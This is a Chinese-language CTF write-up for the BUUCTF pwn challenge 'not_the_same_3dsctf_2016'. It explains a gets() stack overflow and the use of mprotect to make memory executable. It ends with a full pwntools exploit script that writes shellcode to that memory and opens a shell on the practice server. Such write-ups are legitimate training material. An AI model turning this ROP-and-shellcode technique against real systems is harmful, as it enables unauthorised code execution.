BUUCTF-PWN-not_the_same_3dsctf_2016

查看文件信息

开了个NX保护

IDA静态分析

开始看上去 其实就是利用gets()来溢出的

我们可以 shift+f12 查看字符串 可以看到 flag.txt 这个字符串

我们进去看一看…开始的思路其实是利用gets函数溢出来覆盖返回地址去读出flag，然后利用get_secret函数的输入点造成溢出覆盖返回地址到write函数的地址，打印出unk_80CF91B里面储存flag的内容,但是要知道的是,fgets函数其实是有保护机制的,所以我们利用这个是读不到flag的,而f14g在bss段 根本没有ret指令可以利用

但是 这里面有mprotect函数 可以用它来修改我们内存栈的权限，让它可读可写可执行，接着让写入shellcode，然后执行获取shell

这里我们需要借助三个参数的三个寄存器指令

ROPgadget --binary pwn --only “pop|ret” | grep pop

将.got.plt改为可读可执行

将返回地址填写成read函数，传入read函数的参数，然后将返回地址改为我们修改为可读可写可执行的地址,最好去写入shellcode 函数

exp

from pwn import *


elf = ELF('pwn')
#r = process('pwn')
r = remote('node3.buuoj.cn',27357)

mprotect_addr = 0x0806ed40
addr = 0x080eb000
ret_addr = 0x0806fcc8
read_addr = elf.symbols['read']

shellcode = asm(shellcraft.sh())

payload = 'a' * 0x2d+p32(mprotect_addr)+p32(ret_addr)
payload += p32(addr)+p32(0x100)+p32(0x7)
payload+= p32(read_addr)+p32(ret_addr)
payload+=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)

r.sendline(payload)
r.sendline(shellcode)

r.interactive()